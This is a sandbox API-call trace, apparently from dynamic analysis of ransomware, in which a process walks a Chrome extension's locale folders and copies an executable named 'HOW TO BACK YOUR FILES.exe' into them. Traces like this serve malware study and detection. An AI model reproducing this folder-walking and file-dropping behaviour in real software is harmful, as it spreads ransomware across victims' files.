	[0047.373] FindNextFileW (in: hFindFile=0x5ca490, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83580a10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83583120, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83583120, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pl", cAlternateFileName="")) returned 1
	[0047.373] lstrcmpiW (lpString1="pl", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0047.373] lstrcmpiW (lpString1="pl", lpString2="Apollon865.txt.exe") returned 1
	[0047.373] lstrcpyW (in: lpString1=0x2d3e670, lpString2="pl" | out: lpString1="pl") returned="pl"
	[0047.373] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5a01c8
	[0047.373] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x126) returned 0x5aef30
	[0047.373] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5a01d0 | out: ListHead=0x5b76b0, ListEntry=0x5a01d0) returned 0x5a01b0
	[0047.373] FindNextFileW (in: hFindFile=0x5ca490, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8358f470, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8359b7c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8359b7c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pt", cAlternateFileName="")) returned 1
	[0047.373] lstrcmpiW (lpString1="pt", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0047.373] lstrcmpiW (lpString1="pt", lpString2="Apollon865.txt.exe") returned 1
	[0047.373] lstrcpyW (in: lpString1=0x2d3e670, lpString2="pt" | out: lpString1="pt") returned="pt"
	[0047.373] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5a01e8
	[0047.373] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x126) returned 0x5af068
	[0047.373] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5a01f0 | out: ListHead=0x5b76b0, ListEntry=0x5a01f0) returned 0x5a01d0
	[0047.373] FindNextFileW (in: hFindFile=0x5ca490, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835969a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835a05e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835a05e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pt_BR", cAlternateFileName="")) returned 1
	[0047.373] lstrcmpiW (lpString1="pt_BR", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0047.373] lstrcmpiW (lpString1="pt_BR", lpString2="Apollon865.txt.exe") returned 1
	[0047.373] lstrcpyW (in: lpString1=0x2d3e670, lpString2="pt_BR" | out: lpString1="pt_BR") returned="pt_BR"
	[0047.373] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5a0208
	[0047.373] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x12c) returned 0x5afa60
	[0047.373] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5a0210 | out: ListHead=0x5b76b0, ListEntry=0x5a0210) returned 0x5a01f0
	[0047.374] FindNextFileW (in: hFindFile=0x5ca490, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835990b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835a5400, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835a5400, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pt_PT", cAlternateFileName="")) returned 1
	[0047.374] lstrcmpiW (lpString1="pt_PT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0047.374] lstrcmpiW (lpString1="pt_PT", lpString2="Apollon865.txt.exe") returned 1
	[0047.374] lstrcpyW (in: lpString1=0x2d3e670, lpString2="pt_PT" | out: lpString1="pt_PT") returned="pt_PT"
	[0047.374] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5a0228
	[0047.374] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x12c) returned 0x5afb98
	[0047.374] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5a0230 | out: ListHead=0x5b76b0, ListEntry=0x5a0230) returned 0x5a0210
	[0047.374] FindNextFileW (in: hFindFile=0x5ca490, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835aa220, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835b1750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835b1750, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ro", cAlternateFileName="")) returned 1
	[0047.374] lstrcmpiW (lpString1="ro", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0047.374] lstrcmpiW (lpString1="ro", lpString2="Apollon865.txt.exe") returned 1
	[0047.374] lstrcpyW (in: lpString1=0x2d3e670, lpString2="ro" | out: lpString1="ro") returned="ro"
	[0047.374] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5a0248
	[0047.374] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x126) returned 0x5af1a0
	[0047.374] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5a0250 | out: ListHead=0x5b76b0, ListEntry=0x5a0250) returned 0x5a0230
	[0047.374] FindNextFileW (in: hFindFile=0x5ca490, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835b6570, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835b8c80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835b8c80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ru", cAlternateFileName="")) returned 1
	[0047.374] lstrcmpiW (lpString1="ru", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0047.374] lstrcmpiW (lpString1="ru", lpString2="Apollon865.txt.exe") returned 1
	[0047.374] lstrcpyW (in: lpString1=0x2d3e670, lpString2="ru" | out: lpString1="ru") returned="ru"
	[0047.374] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5a0268
	[0047.374] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x126) returned 0x5af2d8
	[0047.374] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5a0270 | out: ListHead=0x5b76b0, ListEntry=0x5a0270) returned 0x5a0250
	[0047.374] FindNextFileW (in: hFindFile=0x5ca490, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835c01b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835c01b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835c01b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sk", cAlternateFileName="")) returned 1
	[0047.374] lstrcmpiW (lpString1="sk", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0047.374] lstrcmpiW (lpString1="sk", lpString2="Apollon865.txt.exe") returned 1
	[0047.374] lstrcpyW (in: lpString1=0x2d3e670, lpString2="sk" | out: lpString1="sk") returned="sk"
	[0047.374] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5a0288
	[0047.374] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x126) returned 0x5af410
	[0047.374] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5a0290 | out: ListHead=0x5b76b0, ListEntry=0x5a0290) returned 0x5a0270
	[0047.374] FindNextFileW (in: hFindFile=0x5ca490, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835c4fd0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835c9df0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835c9df0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sl", cAlternateFileName="")) returned 1
	[0047.375] lstrcmpiW (lpString1="sl", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0047.375] lstrcmpiW (lpString1="sl", lpString2="Apollon865.txt.exe") returned 1
	[0047.375] lstrcpyW (in: lpString1=0x2d3e670, lpString2="sl" | out: lpString1="sl") returned="sl"
	[0047.375] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5afce8
	[0047.375] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x126) returned 0x5af548
	[0047.375] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5afcf0 | out: ListHead=0x5b76b0, ListEntry=0x5afcf0) returned 0x5a0290
	[0047.375] FindNextFileW (in: hFindFile=0x5ca490, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835cec10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835cec10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835cec10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sr", cAlternateFileName="")) returned 1
	[0047.375] lstrcmpiW (lpString1="sr", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0047.375] lstrcmpiW (lpString1="sr", lpString2="Apollon865.txt.exe") returned 1
	[0047.375] lstrcpyW (in: lpString1=0x2d3e670, lpString2="sr" | out: lpString1="sr") returned="sr"
	[0047.375] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5afd08
	[0047.375] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x126) returned 0x5af680
	[0047.375] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5afd10 | out: ListHead=0x5b76b0, ListEntry=0x5afd10) returned 0x5afcf0
	[0047.375] FindNextFileW (in: hFindFile=0x5ca490, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835daf60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835dd670, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835dd670, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sv", cAlternateFileName="")) returned 1
	[0047.375] lstrcmpiW (lpString1="sv", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0047.375] lstrcmpiW (lpString1="sv", lpString2="Apollon865.txt.exe") returned 1
	[0047.375] lstrcpyW (in: lpString1=0x2d3e670, lpString2="sv" | out: lpString1="sv") returned="sv"
	[0047.375] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5afd28
	[0047.375] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x126) returned 0x5af7b8
	[0047.375] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5afd30 | out: ListHead=0x5b76b0, ListEntry=0x5afd30) returned 0x5afd10
	[0047.375] FindNextFileW (in: hFindFile=0x5ca490, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835dd670, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835dfd80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835dfd80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sw", cAlternateFileName="")) returned 1
	[0047.375] lstrcmpiW (lpString1="sw", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0047.375] lstrcmpiW (lpString1="sw", lpString2="Apollon865.txt.exe") returned 1
	[0047.375] lstrcpyW (in: lpString1=0x2d3e670, lpString2="sw" | out: lpString1="sw") returned="sw"
	[0047.375] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5afd48
	[0047.375] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x126) returned 0x5af8f0
	[0047.375] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5afd50 | out: ListHead=0x5b76b0, ListEntry=0x5afd50) returned 0x5afd30
	[0047.375] FindNextFileW (in: hFindFile=0x5ca490, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835e4ba0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835e72b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835e72b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ta", cAlternateFileName="")) returned 1
	[0047.376] lstrcmpiW (lpString1="ta", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0047.376] lstrcmpiW (lpString1="ta", lpString2="Apollon865.txt.exe") returned 1
	[0047.376] lstrcpyW (in: lpString1=0x2d3e670, lpString2="ta" | out: lpString1="ta") returned="ta"
	[0047.376] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5afd68
	[0047.376] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x126) returned 0x5b08e8
	[0047.376] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5afd70 | out: ListHead=0x5b76b0, ListEntry=0x5afd70) returned 0x5afd50
	[0047.376] FindNextFileW (in: hFindFile=0x5ca490, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835ec0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835f0ef0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835f0ef0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="te", cAlternateFileName="")) returned 1
	[0047.376] lstrcmpiW (lpString1="te", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0047.376] lstrcmpiW (lpString1="te", lpString2="Apollon865.txt.exe") returned 1
	[0047.376] lstrcpyW (in: lpString1=0x2d3e670, lpString2="te" | out: lpString1="te") returned="te"
	[0047.376] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5afd88
	[0047.376] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x126) returned 0x5b0a20
	[0047.376] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5afd90 | out: ListHead=0x5b76b0, ListEntry=0x5afd90) returned 0x5afd70
	[0047.376] FindNextFileW (in: hFindFile=0x5ca490, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835f5d10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835f8420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835f8420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="th", cAlternateFileName="")) returned 1
	[0047.376] lstrcmpiW (lpString1="th", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0047.376] lstrcmpiW (lpString1="th", lpString2="Apollon865.txt.exe") returned 1
	[0047.376] lstrcpyW (in: lpString1=0x2d3e670, lpString2="th" | out: lpString1="th") returned="th"
	[0047.376] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5afda8
	[0047.376] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x126) returned 0x5b0b58
	[0047.376] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5afdb0 | out: ListHead=0x5b76b0, ListEntry=0x5afdb0) returned 0x5afd90
	[0047.376] FindNextFileW (in: hFindFile=0x5ca490, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835fd240, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835ff950, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835ff950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tr", cAlternateFileName="")) returned 1
	[0047.376] lstrcmpiW (lpString1="tr", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0047.376] lstrcmpiW (lpString1="tr", lpString2="Apollon865.txt.exe") returned 1
	[0047.376] lstrcpyW (in: lpString1=0x2d3e670, lpString2="tr" | out: lpString1="tr") returned="tr"
	[0047.376] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5afdc8
	[0047.376] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x126) returned 0x5b0c90
	[0047.376] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5afdd0 | out: ListHead=0x5b76b0, ListEntry=0x5afdd0) returned 0x5afdb0
	[0047.376] FindNextFileW (in: hFindFile=0x5ca490, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8360bca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8360e3b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8360e3b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="uk", cAlternateFileName="")) returned 1
	[0047.376] lstrcmpiW (lpString1="uk", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0047.377] lstrcmpiW (lpString1="uk", lpString2="Apollon865.txt.exe") returned 1
	[0047.377] lstrcpyW (in: lpString1=0x2d3e670, lpString2="uk" | out: lpString1="uk") returned="uk"
	[0047.377] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5afde8
	[0047.377] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x126) returned 0x5b0dc8
	[0047.377] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5afdf0 | out: ListHead=0x5b76b0, ListEntry=0x5afdf0) returned 0x5afdd0
	[0047.377] FindNextFileW (in: hFindFile=0x5ca490, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x836158e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83617ff0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83617ff0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vi", cAlternateFileName="")) returned 1
	[0047.377] lstrcmpiW (lpString1="vi", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0047.377] lstrcmpiW (lpString1="vi", lpString2="Apollon865.txt.exe") returned 1
	[0047.377] lstrcpyW (in: lpString1=0x2d3e670, lpString2="vi" | out: lpString1="vi") returned="vi"
	[0047.377] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5afe08
	[0047.377] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x126) returned 0x5b0f00
	[0047.377] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5afe10 | out: ListHead=0x5b76b0, ListEntry=0x5afe10) returned 0x5afdf0
	[0047.377] FindNextFileW (in: hFindFile=0x5ca490, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8361ce10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8361f520, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8361f520, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh", cAlternateFileName="")) returned 1
	[0047.377] lstrcmpiW (lpString1="zh", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0047.377] lstrcmpiW (lpString1="zh", lpString2="Apollon865.txt.exe") returned 1
	[0047.377] lstrcpyW (in: lpString1=0x2d3e670, lpString2="zh" | out: lpString1="zh") returned="zh"
	[0047.377] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5afe28
	[0047.377] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x126) returned 0x5b1038
	[0047.377] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5afe30 | out: ListHead=0x5b76b0, ListEntry=0x5afe30) returned 0x5afe10
	[0047.377] FindNextFileW (in: hFindFile=0x5ca490, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83624340, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8362b870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8362b870, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 1
	[0047.377] lstrcmpiW (lpString1="zh_TW", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0047.377] lstrcmpiW (lpString1="zh_TW", lpString2="Apollon865.txt.exe") returned 1
	[0047.377] lstrcpyW (in: lpString1=0x2d3e670, lpString2="zh_TW" | out: lpString1="zh_TW") returned="zh_TW"
	[0047.377] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5afe48
	[0047.377] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x12c) returned 0x5b28d0
	[0047.377] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5afe50 | out: ListHead=0x5b76b0, ListEntry=0x5afe50) returned 0x5afe30
	[0047.377] FindNextFileW (in: hFindFile=0x5ca490, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83624340, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8362b870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8362b870, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 0
	[0047.377] FindClose (in: hFindFile=0x5ca490 | out: hFindFile=0x5ca490) returned 1
	[0047.378] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5afe50
	[0047.378] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh_TW", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh_TW") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh_TW"
	[0047.378] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28d0 | out: hHeap=0x580000) returned 1
	[0047.378] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afe48 | out: hHeap=0x580000) returned 1
	[0047.378] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh_TW") returned 149
	[0047.378] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh_TW" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh_TW") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh_TW"
	[0047.378] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.378] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh_TW\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh_tw\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.385] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
